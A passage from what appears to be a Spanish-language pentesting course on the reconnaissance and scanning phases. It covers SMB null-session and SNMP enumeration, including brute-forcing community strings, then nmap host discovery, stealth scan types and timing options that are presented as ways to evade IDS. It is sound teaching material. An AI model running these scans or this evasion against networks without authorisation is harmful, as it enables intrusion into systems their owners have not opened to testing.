SMB2 - Windows Vista SP1 y Windows 2008
SMB2.1 - Windows 7 y Windows 2008 R2
SMB3 - Windows 8 y Windows 2012
Escaneando el servicio NetBIOS
El servicio NetBIOS escucha en los puertos TCP y UDP 139 y 445. Este servicio se puede escanear
con nmap y se puede utilizar una sintaxis como la siguiente:
root@kali:~# nmap -v -p 139,445 -oG smb.txt 10.10.10.1-254
Otra herramienta que nos ayuda a analizar este servicio es ntbscan.
ENLACE
Enumeración de sesiones NULL
Una sesión NULL se refiere a una sesión NetBIOS no autenticada entre dos ordenadores. Esta
característica permite que los equipos no autenticados obtengan listas de navegación de otros
servidores de Microsoft.
Una sesión nula conlleva que se exponga información sensible (políticas de contraseñas, nombres
de usuario, nombres de grupo, nombres de equipos, ID de usuario y de host) que puede ser utilizada
por un atacante para llevar a cabo ataques más sofisticados. Esta característica de Microsoft existía en
SMB1 de forma predeterminada y fue restringida en versiones posteriores.
Una herramienta que nos facilita la enumeración de esta información es enum4linux. Esta
herramienta está escrita en Perl y su finalidad es obtener información de sistemas Windows y Samba.
Otras herramientas similares que se pueden usar son smbclient, rpcclient, net y nmblookup.
ENLACE
Por otro lado, nmap dispone de scripts específicos para analizar este servicio, tal como se comentó
en el apartado anterior.
ENLACE
13/60
2.3.2.3. Enumeración SMTP
El protocolo Simple Mail Transfer Protocol , conocido como SMTP es un protocolo de red utilizado
para el intercambio de mensajes de correo electrónico. Suele asociarse a otros protocolos como POP3 o
IMAP, utilizándose SMTP para correo de salida, y los otros para correo entrante.
Algunos servidores de correo suelen estar mal configurados y mediante técnicas de enumeración es
posible obtener información sobre el host objetivo. SMTP suele disponer de comandos como VRFY o
EXPN, que sirven para verificar los usuarios existentes en un servidor de correo, lo que más tarde puede
ayudar al atacante.
ENLACE
2.3.2.4. Enumeración SNMP
Simple Network Management Protocol (SNMP) es un protocolo basado en UDP, que facilita el
intercambio de información entre dispositivos de una misma red, un protocolo simple, sin estado y, por
lo tanto, es susceptible a IP spoofing y ataques de repetición. Además, los protocolos SNMP 1, 2 y 2c de
uso común no ofrecen cifrado de tráfico, lo que significa que la información y las credenciales SNMP se
pueden interceptar fácilmente a través de una red local. Los protocolos SNMP tradicionales también
tienen esquemas de autenticación débiles y, por lo general, son configurados con el protocolo por
defecto public y con community strings privados.
14/60
El árbol MIB de SNMP
Management Information Base de SNMP es una base de datos que contiene información
relacionada con la administración de la red. Está organizado en forma de árbol, cuyas ramas
representan las diferentes organizaciones o funciones de red. Cada hoja de árbol corresponde a
valores de variables específicas de un endpoint a las que se puede acceder.
Imagen 2.5. Ejemplo de árbol MIB.

Fuente: Wikipedia.
Los siguientes valores corresponden a los parámetros SNMP específicos de Windows.
Imagen 2.6. Parámetros SNMP.

15/60
Escaneando el protocolo SNMP con nmap
Se puede utilizar la siguiente sintaxis:
root@kali:~# nmap -sU --open -p 161 10.11.1.1-254
Además de nmap, la herramienta onesixtyone tratará de comprobar si hay community strings

disponibles en los hosts objetivo, empleando fuerza bruta:
root@kali:~# onesixtyone -c Desktop/community 10.11.1.115
Scanning 1 hosts, 3 communities
10.11.1.115 [public] Linux tophat.acme.com 2.4.20-8 #1 Thu Mar 13 17:54:28 EST 2003
i686
Escaneando el protocolo SNMP con snmpwalk
Esta herramienta es otra alternativa que es capaz de acceder a la información SNMP. Para poder
leer los MIB previamente comentados, necesitamos conocer el nombre de la comunidad, por lo que lo
primero será lanzar un escaneo nmap sobre el activo para averiguarlo:
ENLACE
Hemos averiguado que la comunidad SNMP es “public”. Con esta información procedemos a
lanzar la herramienta snmpwalk.
ENLACE
III. Escaneo
3.1. Introducción
Una vez que se ha finalizado la fase de reconocimiento, en la que se obtiene una primera visión
general de la infraestructura objetivo, conviene seguir ampliando esta información a través de una fase
de escaneo de la infraestructura, en la cual trataremos de tener una visión más detallada del objetivo.
A lo largo del siguiente apartado iremos descubriendo una metodología tipo de escaneo y su teoría
asociada. Además, se mostrará el uso de las herramientas utilizadas durante esta fase, si bien es cierto
que varias de las herramientas descritas ya se introdujeron en la fase de reconocimiento, el uso que se
hará de ellas estará orientado a esta nueva fase. Asimismo, se mostrarán nuevas herramientas propias de
esta fase de escaneo.
16/60
3.2. Teoría
Una vez que se ha realizado una primera enumeración de la infraestructura objetivo es necesario
ampliar la información que disponemos sobre esta infraestructura; cuanto más conocimiento tengamos
sobre la misma, dispondremos de más opciones para intentar hacernos con el control de ciertas partes de
esta. Debido a que seremos capaces de aplicar, con más efectividad, ciertas tácticas, técnicas y
procedimientos que mejor se adapten a cada caso particular.
Normalmente, el tipo de información que trataremos de recolectar en esta fase irá dirigido a tener una
visión más amplia de la infraestructura de red, sistemas operativos desplegados, tipos de servicios que se
proporcionan y versiones de los mismos, posibles vulnerabilidades conocidas que puedan darse en la
infraestructura, etc.
Aunque existen diversas aproximaciones, a la hora de dividir los distintos tipos de escaneo en los que
se divide esta fase, podremos diferenciar los siguientes tipos de escaneo:
Escaneo o descubrimiento de red
Aunque pueda parecer lo contrario, este tipo de escaneo resulta de vital importancia a la hora de
tener una visión más general del entorno objetivo, direccionamiento IP del mismo y arquitectura de
sistemas que lo componen.
Escaneo o descubrimiento de servicios
Una vez que se dispone de una visión general acerca de la infraestructura objetivo, se han de
comprobar los servicios y tecnologías que se están prestando servicio en cada sistema localizado.
Este tipo de escaneo engloba una primera parte de escaneo de puertos, en la que se enumeran todos
los puertos TCP o UDP que se encuentran habilitados en los sistemas objetivo, así como la
identificación del servicio pertinente y versión del mismo, que se encuentra operando en el puerto
identificado.
Escaneo o búsqueda de vulnerabilidades
Para concluir con la fase de escaneo y dado que disponemos ya de una información más detallada
de la infraestructura y servicios del objetivo que se va a analizar, se puede realizar un escaneo de
vulnerabilidades conocidas en la infraestructura.
Dado que, gracias al escaneo de puertos, hemos obtenido los servicios y versiones de los mismos
que se encuentran prestando servicio, es fácil comprobar si una determinada versión de un programa o
servicio se encuentra afectado por alguna vulnerabilidad conocida.
Además de los tipos de escaneo expuestos previamente, se ha de tener en cuenta la perspectiva o

posicionamiento de la que se dispone para escanear el objetivo.
17/60
Dependiendo de este tipo de perspectiva se obtendrán distintos resultados. No es lo mismo tratar de

escanear y averiguar los servicios disponibles en el perímetro externo de un determinado objetivo que
realizar la misma acción desde la red interna.
En este sentido, podemos tener en cuenta las siguientes perspectivas de escaneo.
Escaneo interno
En este tipo de perspectiva, el posicionamiento desde donde se realizarán las pruebas es en algún
segmento de la red interna del objetivo.
Dependiendo de la estructura y segmentación de la red interna, podremos obtener distintos

resultados, dependiendo del segmento de red en el que nos encontremos.
También se ha de tener en cuenta que los servicios y tecnologías expuestos en la red interna
varían en canto a los expuestos en el perímetro de red. Por ejemplo, en la red interna podremos
encontrarnos con servicios de Directorio Activo que aportan granularidad a los servicios de
autenticación y autorización a los recursos dependiendo de un sistema de usuarios y roles
específico, podemos encontrarnos servicios específicos no expuestos en el perímetro como
sistemas de facturación y contabilidad, sistemas de videovigilancia, sistemas de control de las
instalaciones, etc.
Escaneo externo
Por el contrario, en este otro tipo de enfoque, el posicionamiento que se realiza es desde fuera de
la entidad objetivo. De esta manera y en una primera instancia, únicamente se tiene acceso a
escanear el perímetro externo del objetivo; teniendo visibilidad, únicamente, sobre los servicios
expuestos en internet. Por ejemplo, servicio de correo, intranet, servicio web, etc.
18/60
Imagen 2.7. Explicación escaneos interno y externo.

Fuente: imagen editada de http://www.mind.co.jp/en/service/security/network.html.
En los siguientes apartados, se introducirán las herramientas comúnmente utilizadas para tal fin, si
bien es cierto que pueden existir otras herramientas además de las expuestas, las utilizadas en el
documento son las más extendidas y utilizadas.
Por otro lado, varias de las herramientas expuestas podrán utilizarse en los distintos tipos de
escaneo debido a su versatilidad.
3.3. Descubrimiento de red

Tal y como se describió en el apartado anterior, el descubrimiento de red trata de averiguar cómo se
encuentra estructurada toda la arquitectura de sistemas por los que está compuesto el objetivo, distinto
direccionamiento IP utilizado, la segmentación aplicada en la red, visibilidad dentro de cada segmento,
etc.
Cada entorno objetivo dispondrá de una estructura totalmente distinta y, debido a esta heterogeneidad,
se hace indispensable la ejecución de esta fase que nos permitirá tener una primera visión, más general,
del entorno en el que nos encontramos. Esto nos permitirá adaptarnos a él y adaptar los siguientes
escaneos al entorno de las pruebas.
19/60
Imagen 2.8. Explicación escaneos interno y externo.

Además, en este tipo de descubrimiento, también trataremos de averiguar el tipo de dispositivo

conectado (equipo, servidor, switch, router, punto de acceso, etc.), así como el sistema operativo que
está ejecutando cada dispositivo.
3.3.1. Descubrimiento de hosts mediante ICMP
El primer paso a la hora de escanear consiste en descubrir el número de hosts que hay en un
determinado rango de red objetivo. Normalmente las técnicas utilizadas desde una perspectiva de
posicionamiento externo pueden utilizarse en un descubrimiento que se realice desde un posicionamiento
interno. Sin embargo, en caso de encontrarnos posicionados en la red interna del objetivo se podrán
utilizar una serie de técnicas disponibles únicamente para este tipo de análisis desde una perspectiva
interna.
La técnica más común de descubrimiento consiste en las consultas mediante mensajes ICMP ( Internet
Control Messaging Protocol). Sin adentrarnos mucho en la explicación del protocolo, la petición se
compone de unos paquetes de tipo petición-respuesta. Mediante este protocolo puede diagnosticarse el
estado, velocidad y calidad de una red determinada. Se encapsula dentro del datagrama IP, con lo cual va
asociado a una dirección IP en concreto.
Utilizaremos herramientas que utilizan este protocolo para realizar consultas de manera directa contra
una dirección IP o un rango ellas. Como respuesta obtendremos un paquete ICMP con un código ICMP
con el que se puede determinar si no se puede acceder a la red, si se obtuvo o no respuesta del host
consultado, etc.
Para más información del funcionamiento del protocolo ICMP, se recomienda consultar el
siguiente enlace:
20/60
https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol
Descubrimiento de host con herramienta ping
Utiliza el protocolo ICMP para consultar el estado de una determinada dirección IP, una limitación
de ping consiste en que únicamente se puede consultar el estado de una dirección IP en cada iteración
del comando.
A continuación, se muestra la ejecución de la herramienta ping indicando una dirección IP que se

encuentra activa.
Imagen 2.9. Ejecución de la herramienta ping indicando una dirección IP activa.

Fuente: elaboración propia.
Por el contrario, en el siguiente ejemplo se indica una dirección IP que no se encuentra activa.
Imagen 2.10. Ejecución de la herramienta ping indicando una dirección IP no activa.

21/60
Descubrimiento de host con herramienta hping3
Al igual que ping permite el descubrimiento de equipos remotos mediante mensajes ICMP; sin
embargo, hping3 permite mucha más personalización en la confección del paquete ICMP. Además,
también soporta la confección de paquetes de capa 4 (TCP y UDP).
A continuación, se muestra la ejecución de la herramienta hping3 indicando una dirección IP que se

encuentra activa.
Imagen 2.11. Ejecución de la herramienta hping3 indicando una dirección IP activa.

Por el contrario, en el siguiente ejemplo se indica una dirección IP que no se encuentra activa.
Imagen 2.12. Ejecución de la herramienta hping3 indicando una dirección IP no activa.

Como se puede comprobar, su funcionamiento básico es bastante similar a ping.
Descubrimiento de host con herramienta nmap
Nmap es la herramienta de escaneo de red más versátil que existe actualmente y por ello, también
es la más utilizada. Aunque se encuentra más orientada al descubrimiento de puertos y servicios,
también posee un módulo para realizar consultas ICMP para averiguar equipos activos dentro de un
determinado rango de red.
A diferencia de ping y hping3, puede realizar la consulta sobre un rango concreto de direcciones IP.
22/60
Imagen 2.13. Consulta sobre un rango concreto de direcciones IP.

Dependiendo del tipo de red objetivo, es posible que el tráfico ICMP se encuentre restringido. En
ese caso, aunque se realice una consulta sobre una dirección IP, aunque el host que se encuentre tras
esa dirección IP se encontrase activo, el router filtraría el paquete ICMP y nunca llegaría a su destino
y parecería que el sistema remoto no se encuentra disponible.
En otras ocasiones, en vez de filtrar el protocolo ICMP, el router responde a todos los mensajes
como si el host se encontrase disponible. De esta manera, utilizando únicamente el protocolo ICMP
no se podría averiguar si el host se encuentra activo o sin conectividad. La siguiente captura de
pantalla ilustra este comportamiento.
Imagen 2.14. Protocolo ICMP.

En estos casos, se puede recurrir a una técnica conocida como port sweep, en la cual se consulta a
un determinado puerto o conjunto de puertos que creamos que se pueda encontrar disponible en el
host remoto. Si alguno de los puertos consultados responde como activo, significa que el host remoto
se encuentra operativo, aunque no responda a ping.
Por ejemplo, desde una perspectiva externa, se podría consultar a un determinado rango de red por
los 100 puertos más utilizados. A modo de muestra, se ha realizado un escaneo al puerto TCP 80 en la
red anterior. Como se puede comprobar, solo se identifican los hosts que tienen abierto el puerto TCP
80.
23/60
Imagen 2.15. Escaneo al puerto TCP 80.

De manera contraria, desde una perspectiva interna, lo más normal es que nos encontrásemos en el
segmento de Directorio Activo de una determinada entidad. Dado que el Directorio Activo utiliza el
puerto TCP 445 para establecer la comunicación entre los equipos, se podría realizar un escaneo
únicamente al puerto TCP 445 de un determinado rango de red para determinar los equipos que se
encontrasen operativos.
24/60
Descubrimiento de host con herramienta Zenmap
Zenmap es una interfaz gráfica para utilizar nmap de manera más cómoda y poder ver los
resultados de una manera más clara y visual.
Al instalarlo, lleva embebido el motor de nmap, con lo que no hace falta instalar ninguna
dependencia adicional. Dispone de unas funciones básicas para operar “a golpe de ratón”, además,
dispone de una pequeña ventana de terminal en la que realizar operaciones directamente en sintaxis
de nmap.
De esta manera, todos los ejemplos que se exponen en el módulo para realizar mediante nmap se
pueden realizar sobre Zenmap sin ningún tipo de operadores o instrucciones adicionales.
Imagen 2.16. Interfaz de Zenmap.

Fuente: captura de Zenmap (https://nmap.org/zenmap/).
3.3.2. Descubrimiento de hosts mediante ARP
Esta técnica se basa en el funcionamiento del protocolo ARP que se encarga de tener una asociación
entre una determinada dirección IP (capa 3 del modelo OSI) y la dirección Ethernet (capa 2 del modelo
OSI) a través de la cual se ha de encaminar la trama Ethernet para llegar a la dirección IP solicitada.
25/60
Para ello, envían mensajes broadcast de tipo ARP Discovery en la que se consulta en todo el dominio
d e broadcast si alguien tiene asignada una dirección IP en concreto. Si alguno de los equipos tiene
asignada la dirección IP solicitada, le responde al equipo que realizó la consulta.
Dado el funcionamiento del protocolo, es una técnica que únicamente suele funcionar desde una
perspectiva de escaneo interna. Además, como utiliza un protocolo distinto a ICMP, aunque los paquetes
ICMP se encuentren filtrados en la red, el descubrimiento de equipos activos con esta técnica resulta
satisfactorio.
Descubrimiento de host con herramienta arp-scan
Permite el descubrimiento de equipos remotos mediante mensajes broadcast de tipo ARP

Discovery y permite indicar la interfaz de red desde donde se quiere realizar el escaneo.
La siguiente captura de pantalla muestra el escaneo de un rango IP clase C a través de arp-scan.
Imagen 2.17. Descubrimiento de host con apscan.

Fuente: captura de la herramienta arp-scan.
Descubrimiento de host con herramienta netdiscover
De manera similar a arp-scan, netdiscover permite el descubrimiento de equipos remotos mediante

mensajes broadcast de tipo ARP Discovery. La salida es en modo monitorización; sin embargo, tiene
un modo parseable (operador -L) que permite la redirección a un fichero.
La siguiente captura de pantalla muestra el escaneo de un rango IP clase C a través de arp-scan.
Imagen 2.18. Escaneo de rango IP con arp-scan.

Fuente: captura de la herramienta arp-scan.
3.3.3. Descubrimiento de dispositivos y configuración de red
26/60
De la misma manera, es conveniente poder descubrir el equipamiento de red implicado en la topología

de la infraestructura (routers, switches, etc.). De esta manera, podremos hacernos una idea más fidedigna
de la topología y podríamos entender y resolver posibles problemas que puedan surgirnos de cara a
realizar la fase de escaneo u otras fases posteriores, por ejemplo, filtrado de ciertos protocolos o puertos,
inspección de paquetes, etc.
Descubrimiento de routers mediante herramienta traceroute
La herramienta traceroute utiliza el protocolo ICMP para averiguar el enrutamiento que se

establece entre dos puntos de la red. De esta manera, si alguno de los routers implicados no filtra este
tipo de mensajes, se obtiene un listado de los routers que intervienen en el establecimiento de la
comunicación.
Imagen 2.19. Descubrimiento de routers con traceroute.

Fuente: captura de la herramienta traceroute.
Descubrimiento de configuración de red mediante herramienta Wireshark
La herramienta wireshark es una herramienta de monitorización de red que nos permite analizar el
tráfico que llega hasta nuestra interfaz en las distintas capas del modelo OSI.
Dado que bastantes dispositivos de red utilizan protocolos que emiten mensajes en formato
broadcast para transmitirse información e incluso la configuración de la red, podemos analizar el
tráfico de este tipo que llega a nuestra interfaz.
Por ejemplo, en la siguiente captura de pantalla se observa un paquete del protocolo CDP ( Cisco
Discovery Protocol) en el que se observa que el propio protocolo envía información del modelo del
dispositivo (un switch Catalyst 2960), versión del sistema operativo que se encuentra en ejecución,
dirección IP de gestión del switch, las distintas VLAN que existen en la topología, etc.
27/60
Imagen 2.20. Descubrimiento de configuración de red con Wireshark.

Fuente: captura de la herramienta Wireshark.
En este otro paquete multicast (protocolo LLDP) se puede observar que existe un servidor de VoIP
Avaya que difunde sus características de configuración, tipo, modelo, versión del software, dirección
IP, etc.
28/60

También podemos observar otros protocolos de broadcast que nos pueden dar más información
sobre el direccionamiento utilizado, en este caso, interceptamos varios paquetes ARP Discovery en
los que se observa el rango de red utilizado en el segmento en el que nos encontramos.
29/60

Descubrimiento del sistema operativo mediante herramienta nmap
Nmap tiene entre sus muchas cualidades, la capacidad de averiguar el sistema operativo que se está
ejecutando por debajo del host objetivo. Los sistemas operativos tienen diferentes implementaciones
en la pila TCP/IP, como por ejemplo que cada uno tiene diferente valor del TTL por defecto. Nmap se
encarga de analizar este tráfico enviado y recibido desde el host objetivo y, de esta manera, es capaz
de indicar el sistema operativo que se está ejecutando.
Esta herramienta incluye un operador - O con el que se fuerza a averiguar la versión del sistema
operativo que ejecuta el sistema remoto.
Imagen 2.23. Descubrimiento de sistema operativo con nmap.

Fuente: captura de la herramienta nmap.
3.4. Descubrimiento de servicios

Una vez que disponemos un primer diagrama de la red y de los equipos y sistemas disponibles,
recogido del descubrimiento de red, es necesario conocer, de una manera más detallada, los servicios
disponibles en cada sistema, así como el tipo y versión de estos y el puerto en el que se encuentra
disponible.
30/60
3.4.1. Enumeración de puertos
La enumeración de puertos consiste en averiguar los puertos TCP o UDP que se encuentran
operativos en cada sistema identificado. Es necesario tener en cuenta el impacto que puede tener en la
red el tipo de escaneo que se lance.
La manera más efectiva de conocer si un determinado puerto se encuentra habilitado consiste en

establecer una comunicación TCP o UDP, dependiendo del protocolo que se requiera consultar, en cada
puerto específico del que queramos tener constancia. Dependiendo de la respuesta devuelta (o en el caso
del protocolo UDP, si no se obtiene respuesta por el sistema al que se le está realizando la consulta)
podremos averiguar si el puerto consultado se encuentra habilitado para realizar una comunicación o no.
En los sucesivos subapartados se indican las técnicas utilizadas para el descubrimiento de puertos.
Aunque nos centraremos en el uso de la herramienta nmap, también se introducirán algunos ejemplos de
otras herramientas como nc y Zenmap.
Escaneo TCP
Es el tipo por defecto de escaneo en nmap. Intenta una conexión TCP completa ( three-way
handshake) y si el puerto se encuentra abierto, se completará la conexión; en caso contrario, el puerto
se considera cerrado. Una de las principales desventajas de este tipo de escaneo es que es fácilmente
detectable y, por tanto, los fabricantes de sistemas firewall suelen incorporar mecanismos de defensa
para evitar este tipo de escaneos.
A continuación, se muestran dos ejemplos, uno con netcat y otro con nmap:
root@kali:~# nc -nvv -w 1 -z 10.11.1.223 443-445
(UNKNOWN) [10.11.1.223] 445 (microsoft-ds) open
(UNKNOWN) [10.11.1.223] 444 (snpp) : Connection refused
(UNKNOWN) [10.11.1.223] 443 (https) open
sent 0, rcvd 0
Imagen 2.24. Escaneo TCP con netcat.

Fuente: captura de la herramienta netcat.
31/60
Imagen 2.25. Escaneo TCP con nmap.

Escaneo UDP
Dado que el protocolo UDP es un puerto que no se encuentra orientado a la conexión, la operativa
normal es que el sistema remoto no envíe ningún tipo de confirmación de recepción de los paquetes.
Debido a las características del protocolo, este tipo de escaneo realiza el envío de una cabecera
UDP para cada puerto objetivo. Si se obtiene un error ICMP que indica que el puerto no es
alcanzable (tipo 3, código 3), entonces se marca el puerto como cerrado. Si se recibe cualquier error
ICMP no alcanzable (tipo 3, códigos 1, 2, 9, 10 o 13) se marca el puerto como filtrado. En algunas
ocasiones se recibirá una respuesta al paquete UDP, lo que prueba que el puerto está abierto. Si no se
ha recibido ninguna respuesta después de algunas retransmisiones entonces se clasifica el puerto
como abierto|filtrado.
Imagen 2.26. Escaneo UDP con nmap.

Escaneos SYN
En este tipo de escaneo se envía un paquete SYN al puerto y espera la respuesta del equipo remoto,
pero sin llegar a completar la conexión. La principal ventaja con respecto al escaneo TCP es que es
bastante más rápido al no completarse la conexión. Sin embargo, al igual que el escaneo TCP, es
32/60
fácilmente detectable y, por tanto, los fabricantes de sistemas firewall suelen incorporar mecanismos
de defensa para evitar este tipo de escaneos.
A esta técnica se la conoce habitualmente como sondeo medio abierto, porque no se llega a abrir
una conexión TCP completa. Se envía un paquete SYN, como si se fuera a abrir una conexión real y
después se espera una respuesta. Si se recibe un paquete SYN/ACK esto indica que el puerto está en
escucha (abierto), mientras que si se recibe un RST (reset) indica que no hay nada escuchando en el
puerto. Si no se recibe ninguna respuesta después de realizar algunas retransmisiones, entonces el
puerto se marca como filtrado. También se marca el puerto como filtrado si se recibe un error de tipo
ICMP no alcanzable.
Con la herramienta nmap, se puede realizar un sondeo utilizando el comando -sS
Imagen 2.27. Escaneo SYN con nmap.

Escaneo XMAS
En este tipo de escaneo se envía una conexión de tipo TCP con los flags ACK, RST, SYN, URG y
PSH activados. En caso de que el puerto se encuentre cerrado, el sistema remoto envía un paquete
RST, en caso de no recibir respuesta, se considerará el puerto como abierto. Como principal ventaja,
evita la detección del escaneo por ciertos IDS; como punto en contra, solo funciona en sistemas que se
adecuen a la normativa RFC 793 (Sistemas UNIX).
Imagen 2.28. Escaneo XMAS con nmap.

33/60
Escaneo FIN
Este tipo de escaneos es muy parecido al anterior, se envía un paquete TCP tipo FIN al sistema
remoto. Si no se recibe ninguna respuesta, el puerto se considera cerrado; en caso de que el sistema
remoto devuelva un paquete de tipo RST, el puerto se considerará como abierto. Como principal
ventaja, evita la detección del escaneo por ciertos IDS o firewalls.
Imagen 2.29. Escaneo FIN con nmap.

Escaneo NULL
Este tipo de escaneos es muy parecido al anterior, se envía un paquete TCP sin establecer ningún
tipo de flag al sistema remoto. Si no se recibe ninguna respuesta, el puerto se considera cerrado; en
caso de que el sistema remoto devuelva un paquete de tipo RST, el puerto se considerará como
abierto. Como principal ventaja evita la detección del escaneo por ciertos IDS o firewalls.
Imagen 2.30. Escaneo NULL con nmap.

Como conclusión a este apartado de escaneo de puertos, hay que tener en cuenta varios
aspectos a la hora de realizar este tipo de escaneo:
El escaneo de puertos UDP a menudo no es fiable en su totalidad, ya que los firewall

y enrutadores pueden filtrar los paquetes ICMP. Esto puede conducir a falsos positivos
en el escaneo y es posible obtener de forma regular resultados donde se muestran
todos los puertos UDP abiertos en el host escaneado.
La mayoría de los escaneos de puertos no analizan todos los puertos disponibles y
normalmente tienen una lista preestablecida de "puertos interesantes" que se analizan.
Para poder lanzar escaneos personalizados a los puertos deseados, las herramientas
utilizadas para esto cuentan con diferentes combinaciones de parámetros para ajustar
el escaneo a las necesidades.
34/60
Lecturas recomendadas:
https://nmap.org/man/es/man-port-scanning-techniques.html
3.4.2. Enumeración de servicios y versión
Dado que ya disponemos de los sistemas que se encuentran disponibles en la red, así como los puertos
que se encuentran a la escucha en cada uno de estos sistemas, el siguiente paso consiste en averiguar los
servicios que se encuentran disponibles en cada puerto, así como la tecnología o programa utilizado para
prestar este servicio y su versión.
Aunque existen otras herramientas que también pueden realizar, en mayor o menor medida, el
descubrimiento de los tipos de servicio y sus versiones, utilizaremos la herramienta nmap para tal tarea.
35/60
Operadores de enumeración de servicios ( banner grabbing)
Nmap dispone de varios operadores para intentar averiguar el tipo de servicio que se encuentra
habilitado en un puerto concreto y su versión.
El primero de ellos es el operador -sV (de service version ), realiza un descubrimiento de servicios
en base a las respuestas devueltas por cada puerto en el equipo remoto.
Imagen 2.31. Enumeración de servicios con nmap.

Por otro lado, existe otro operador más completo -A, que además de realizar un descubrimiento de
las versiones del servicio, también realiza detección del sistema operativo, traceroute a la máquina y
lanza unos scripts de recopilación de información más específicos por cada puerto abierto.
Imagen 2.32. Enumeración de servicios con nmap.

36/60
Scripts de enumeración de servicios
Además de los operadores mencionados anteriormente, nmap dispone de una serie de scripts para
poder realizar otro tipo de consultas sobre el objetivo. Estos scripts se encuentran separados por
categorías, existe una categoría llamada “version” que realiza ciertas tareas adicionales de
descubrimiento, pero únicamente sobre ciertos servicios. A continuación, se muestra la manera de
invocar todos los scripts asociados a la categoría “version”.
Imagen 2.33. Scripts de enumeración de servicios con nmap.

3.4.3. Opciones avanzadas de escaneo
La herramienta nmap dispone de una serie de opciones que nos ayudan a personalizar los escaneos
realizados. A continuación, se muestran las opciones imprescindibles para ser capaz de sacarle más
partido a la herramienta.
Utilizando rangos IP y puertos top-ports
Aunque en los anteriores ejemplos hemos escaneado una única dirección IP, lo cierto es que la
herramienta nmap es bastante versátil a la hora de establecer una serie de objetivos de escaneo y
acepta varias modalidades de introducción de objetivos. A continuación, los más comunes.
Notación CIDR: nmap puede tomar como entrada uno o varios rangos de direcciones IP en
notación CIDR.
nmap 192.168.1.0/24
nmap 192.168.1.0/24, 172.16.0.0/16
Expresiones regulares: también acepta la especificación de objetivos mediante expresiones

regulares.
nmap 192.168.1.*
nmap 192.168.1*.*, 192.168.4*.*
37/60
nmap 192.168.1.*, 172.16.*.*
Consulta a un rango consecutivo de direcciones IP: otra opción es indicar grupos de

direcciones IP consecutivos.
nmap 192.168.1.1-40
nmap 192.168.1.1-40, 192.168.10-20.1-254
Consulta sobre un nombre de host: en caso de indicar un nombre de host para escanear,
nmap resolverá la dirección IP asociada y realizará el escaneo sobre dicha IP.
nmap www.microsoft.com
nmap www.microsoft.com, mail.microsoft.com
Por otro lado, la especificación de los puertos para escanear también es bastante configurable, lo
que nos ofrece las siguientes opciones:
Consulta por un rango de puertos concretos: permite especificar un grupo de puertos

consecutivos.
nmap 192.168.1.1 -p 1-1024
nmap 192.168.1.1 -p 0-65535
Consulta por puertos no consecutivos: por otro lado, también se pueden especificar los
puertos concretos a los que queremos que se consulten.
nmap 192.168.1.1 -p 80,443
nmap 192.168.1.1 -p 135-139,445
Consultar los 100 puertos más conocidos: otra opción consiste en indicarle a nmap que
realice un escaneo sobre un número determinado de los puertos más comunes, es un listado
estadístico mantenido por nmap.
nmap 192.168.1.1 --top-ports=100
Combinación de opciones: además, se pueden especificar varias de estas opciones a la vez.
nmap 192.168.1.201-254, 192.168.20.0/24, 172.16.1-10.* -p 80,443, 8000-9000
Utilizar un fichero de entrada y redirigir la salida
Otra de las opciones que nos ofrece nmap es utilizar como entrada un listado de direcciones IP
objetivo que se encuentren en un fichero de hosts.
nmap -iL host_445-up.txt -p 445 -sS -sV
38/60
Por otro lado, también permite exportar el resultado del escaneo en varios formatos distintos:
Formato estándar: exporta la salida nmap con el mismo formato que la salida estándar a un
fichero con extensión .nmap.
nmap 192.168.1.1 -oN resultado
Formato Grep: exporta la salida del comando nmap a un fichero en el que cada línea
contiene la información del host remoto escaneado y el resultado del escaneo, se dividen los
distintos resultados mediante caracteres de tipo “;”, “/”, “:”, etc. De esta manera, se puede
filtrar y recoger solo la información que nos interesa mediante las herramientas cut y grep.
Genera un fichero con extensión .gnmap.
nmap 192.168.1.1 -oG resultado
Formato XML: exporta la salida del comando nmap en formato xml, este fichero puede
servir para alimentar otra serie de herramientas útiles para la siguiente fase de escaneo,
como la herramienta nessus.
nmap 192.168.1.1 -oX resultado
Exportar todos los formatos: nmap dispone de una opción para exportar el resultado del
escaneo en los tres formatos anteriormente descritos, de esta manera genera 3 ficheros con
las extensiones .nmap, .gnmap y .xml.
nmap 192.168.1.1 -oA resultado
Velocidad de escaneo
Otro de los puntos que hay que tener en cuenta es que la herramienta nmap permite ajustar la
velocidad de escaneo en 6 niveles distintos. Dependiendo de la topología de la red, nos puede
interesar realizar un escaneo más rápido (por ejemplo, si tenemos que escanear un gran número de
sistemas remotos). De manera totalmente opuesta, si detectamos que los objetivos disponen de algún
tipo de mecanismo de detección contra ataques, podemos realizar un escaneo más lento para evadir
este tipo de protecciones.
Para poder establecer el nivel de velocidad del escaneo, se utiliza el operador -T
A continuación, se muestran los distintos niveles de velocidad de escaneo:
-T0: muy lento, utilizado para la evasión de mecanismos de detección como IDS. Pueden
tener un retardo de hasta 15 segundos en cada intento de conexión.
-T1: más lento de lo normal, puede tardar hasta 5 segundos en realizar cada conexión.
Utilizado para evadir mecanismos de protección.
-T2: lento, puede tardar hasta 10 veces más de lo que tardaría un escaneo normal.
-T3: normal, empieza a realizar conexiones en paralelo.
-T4: rápido, realiza conexiones cada 10 milisegundos.
-T5: extremadamente rápido, realiza conexiones cada 5 milisegundos.
39/60
A continuación, se muestra un ejemplo de escaneo a la máxima velocidad posible:
nmap 192.168.1.0/16 -T5
Lecturas recomendadas:
https://nmap.org/man/es/man-performance.html
Uso avanzado de scripts
Nmap posee un lenguaje de scripting para automatizar ciertas pruebas en los escaneos. Estos scripts
tienen la extensión .nse y se encuentran bajo la instalación de nmap en la carpeta scripts (la ruta de
instalación por defecto en un sistema Kali Linux sería /usr/local/share/nmap/scripts).
En la siguiente ruta se puede consultar la documentación de todos los scripts por defecto de nmap h
ttps://nmap.org/nsedoc/
Para consultar el listado de scripts disponibles, junto con una pequeña descripción de ellos,
podemos consultar la ayuda de los scripts indicando que se quiere obtener información de todos.
nmap –script-help all
Los scripts .nse normalmente responden a un determinado protocolo, http, Netbios, etc. De esta
manera, si el puerto que se encuentra abierto no dispone de ese servicio o protocolo, el script no se
ejecutará.
Para invocar el lanzamiento de un determinado script se realiza con la opción -script seguido del
nombre del script. Dado que los scripts que consultan sobre un mismo protocolo o servicio tienen una
nomenclatura inicial común, también se pueden indicar los scripts qe se van a ejecutar mediante
expresiones regulares.
nmap 192.168.15.205 --script "smb-enum-users.nse"
nmap 192.168.15.205 --script "smb-*"
También es posible indicar a nmap que ejecute todos los scripts por defecto en los puertos del host
remoto que localice como abiertos.
nmap 192.168.15.205 -p 1-65535 -sC
nmap 192.168.15.205 -p 1-65535 --script default
40/60
